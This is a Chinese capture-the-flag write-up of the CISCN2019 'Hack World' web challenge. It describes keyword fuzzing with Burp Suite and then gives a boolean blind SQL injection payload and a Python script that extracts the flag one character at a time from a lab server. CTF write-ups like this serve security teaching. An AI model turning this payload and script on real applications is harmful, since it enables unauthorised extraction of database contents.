7.[CISCN2019 华北赛区 Day2 Web1]Hack World
进入题目页面如下
有注入点,尝试SQL注入
判断是整数型注入还是字符型注入
尝试了一些恶意SQL语句但都无果,看来严格过滤了很多关键字
用burp suite爆破,看看过滤了哪些关键字
导入Fuzz字典开始测试
看到过滤了很多
这里便没有思路了,看来大佬的wp跟着做下去,链接附上
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解-CSDN博客
大佬说
(ascii(substr((select(flag)from(flag)),1,1))>32) 若成立,则会返回1,id=1时会回显出一段字符,根据是否回显,通过这个可以将flag中的字符一个一个拆解出来
用python编写盲注脚本
大佬写的脚本
import time
import requests
url = "http://27438b35-6ed7-412e-92bf-fa0ced32ecde.node5.buuoj.cn:81/index.php"
result = ""
for i in range(1, 50):
for j in range(32, 128):
# time.sleep(0.1)
payload = "(ascii(substr((select(flag)from(flag)),{m},1))>{n})"
response = requests.post(url=url, data={'id': payload.format(m=i, n=j)})
if response.text.find('girl') == -1:
result += chr(j)
print(j)
break
print("正在注出flag:", result)
print("flag的值为:", result)
跑个脚本最终得到flag